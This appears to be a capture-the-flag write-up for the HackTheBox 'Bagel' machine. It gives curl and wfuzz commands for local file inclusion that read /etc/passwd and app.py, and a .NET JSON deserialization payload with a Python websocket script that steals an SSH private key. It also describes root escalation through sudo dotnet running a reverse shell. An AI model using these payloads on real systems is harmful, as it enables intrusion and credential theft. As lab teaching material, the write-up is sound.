The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
+| GetRequest: +| HTTP/1.1 302 FOUND +| Server: Werkzeug/2.2.2 Python/3.10.9 +| Date: Sun, 19 Feb 2023 15:46:25 GMT +| Content-Type: text/html; charset=utf-8 +| Content-Length: 263 +| Location: http://bagel.htb:8000/?page=index.html +| Connection: close +| +| +|You should be redirected automatically to the target URL: http://bagel.htb:8000/?page=index.html. If not, click the link. +| Socks5: +| +| +|
Error code: 400
+|Message: Bad request syntax (' +| ').
+|Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.
+| +|_ +|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html +| http-methods: +|_ Supported Methods: GET OPTIONS HEAD +|_http-server-header: Werkzeug/2.2.2 Python/3.10.9 +``` + +## PORT 8000 (HTTP) + +The port redirects to bagel.htb, so adding that in hosts file + +
+
+Adding `bagel.htb` in `/etc/hosts`
+
+
+
+
+
+Fuzzing for files and directories it didn't showed anything other than /orders
+
+
+
+Orders didn't showed anything
+
+
+
+Trying for subdomain enumeration with `wfuzz`, it didn't showed any results as well
+
+
+
+## Foothold
+
+If we go back to home page, we can see it's include an html page with `page` parameter, we can try testing for Local File Inclusion (LFI) here
+
+```bash
+wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://bagel.htb:8000/?page=FUZZ' --hw 3
+```
+
+
+
+```bash
+curl 'http://bagel.htb:8000/?page=../../../../../../../../../../../../../../../../etc/passwd'
+```
+
+
+
+Since this is a flask application, we know that because of `Werkzeug` running, so through LFI we can read `app.py`
+
+```bash
+curl 'http://bagel.htb:8000/?page=../app.py
+```
+
+
+
+Now the source code mentions about a dll file
+
+
+
+So in order to find the dll, we need to brute force the process ID in `/proc/FUZZ/fd`
+
+
+First create a wordlist of numbers, I create a wordlist with `crunch`
+
+```bash
+crunch 1 3 1234567890 > numbers.txt
+```
+
+Next use wfuzz to fuzz for PIDs with the created wordlist
+
+
+
+requests with 14 characters will show `file not found` so we need to look for requests having a different number of characters so by filtering on 0 and 14 characters I was able to find a request which was having the PID for dll
+
+
+
+```bash
+curl 'http://bagel.htb:8000/?page=../../../../../proc/887/cmdline' -so -
+```
+
+
+
+Download the dll file through curl
+
+```bash
+curl 'http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -o bagel.dll
+```
+
+
+
+Opening the dll file using ILSpy we can see some functions in the dll, it was quite overwhelming for me as it did took me sometime to understand what was happening here, we can find database credentials from `DB_Connection` method
+
+
+
+If we see the `Handler` class
+
+
+
+It is set to `4` which means it's set to AUTO, that can include .NET type which makes this vulnerable to JSON .NET deserizliation as configuration shouldn't be set to anything other than `None`
+
+
+
+Checking the `Orders` class we have `RemoveOrder` object having empty constructor which fulfils the requirement for this deserialization
+
+
+
+The application on `/orders` is using `ReadOrder` function which is filtering for reading local files as it's reading `orders.txt` from `/opt/bagel/orders/`
+
+
+
+
+To perfrom json deserlization using RemoveOrder function our payload should like this
+
+```json
+{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
+```
+
+Here `bagel_server.File` is the namespace and `File` is the parameter which will hold the file name in `ReadFile` and the reason we are using ReadFile function is because it won't have any validaiton and can directly read files
+
+
+
+Which then further calls `ReadContent`
+
+
+
+On to sending our payload, we can use the same code which is in app.py
+
+```python
+import websocket,json
+
+ws = websocket.WebSocket()
+ws.connect("ws://10.10.11.201:5000/") # connect to order app
+#order = {"ReadOrder":"orders.txt"}
+order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
+data = str(json.dumps(order))
+ws.send(data)
+result = ws.recv()
+print(json.loads(result))
+```
+
+
+
+
+
+Having a shell as phil, we can then escalate to developer as we already had found the password
+
+## Privilege Escalation (developer)
+
+
+
+With `sudo -l` we can list what this user can run as root user
+
+
+
+## Privilege Escalation (root)
+
+As a root user we can run dotnet application, so first creating a dotnet application with `dotnet console` which will then generate a cs and proj file, editing the cs file with
+
+```c#
+System.Diagnostics.Process.Start("program","arguemnts");
+```
+
+
+Which is simply executing bash with a script `uwu.sh` having a reverse shell
+
+
+
+
+
+
+## References
+
+- https://book.hacktricks.xyz/pentesting-web/file-inclusion
+- https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15
+- https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm